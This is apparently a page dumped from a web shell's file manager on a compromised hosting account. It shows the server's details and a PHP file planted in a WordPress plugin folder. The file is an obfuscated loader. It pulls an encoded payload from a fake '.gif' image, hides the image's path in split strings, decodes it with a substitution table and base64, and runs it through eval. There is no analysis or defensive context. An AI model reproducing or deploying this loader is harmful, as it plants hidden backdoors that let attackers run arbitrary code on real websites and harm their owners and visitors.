HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/0/fc/16/bandeirantesbomb3/public_html/wp-content/plugins/acotije/chafuxu.txt
<?php

function hitusu_zhapekigy($qopymy_izhigiqi) {
    if ($qopymy_izhigiqi == 1)
        return ewezud_cothizhek();
    if ($qopymy_izhigiqi == 2)
        return temegy_gopeqaqush();
}

function inagoq_sevodolit($qopymy_izhigiqi) {
    $jyzyhyt = hitusu_zhapekigy(1);
    $evythit = hitusu_zhapekigy(2);
    for ($ezuduba = 0; $ezuduba < strlen($jyzyhyt); $ezuduba++) {
        $imumus = substr($jyzyhyt, $ezuduba, 1);
        $lubixel = substr($evythit, $ezuduba, 1);
        $biqomyv[$imumus] = $lubixel;
    }

    $qumyreh = strtr($qopymy_izhigiqi, $biqomyv);
    $qumyreh = base64_decode($qumyreh);

    return $qumyreh;
}

function ugulyd_rigichewyw($qopymy_izhigiqi) {
    $ishumaq = array();
    if (!file_exists($qopymy_izhigiqi))
        return false;
    $pyrywe = @file_get_contents($qopymy_izhigiqi);
    if (!$pyrywe)
        return false;
    $pyrywe = substr($pyrywe, 3);
    $ishumaq = inagoq_sevodolit($pyrywe);
    return $ishumaq;
}

function ewezud_cothizhek() {
    $pyrywe = "S1XVf2lHyxs7t9=iYcKbqvpDnZM3AaghRrGN0CJL/Twd8Uz45IuWm+FQkoOBj6ePE";
    return $pyrywe;
}

function temegy_gopeqaqush() {
    $ishumaq = "RJgcNwrWXo71fd3q5uzjQ4yY0penMCI9ZVtL2OUavBm/bH8hkiPs+6xSlGEF=KTDA";
    return $ishumaq;
}

$arucumo = ugulyd_rigichewyw(__DIR__ . "/asset" . "s/ima" . "ges/x" . "arac" . "em.gi" . "f");
if ($arucumo) {
    @eval($arucumo);
}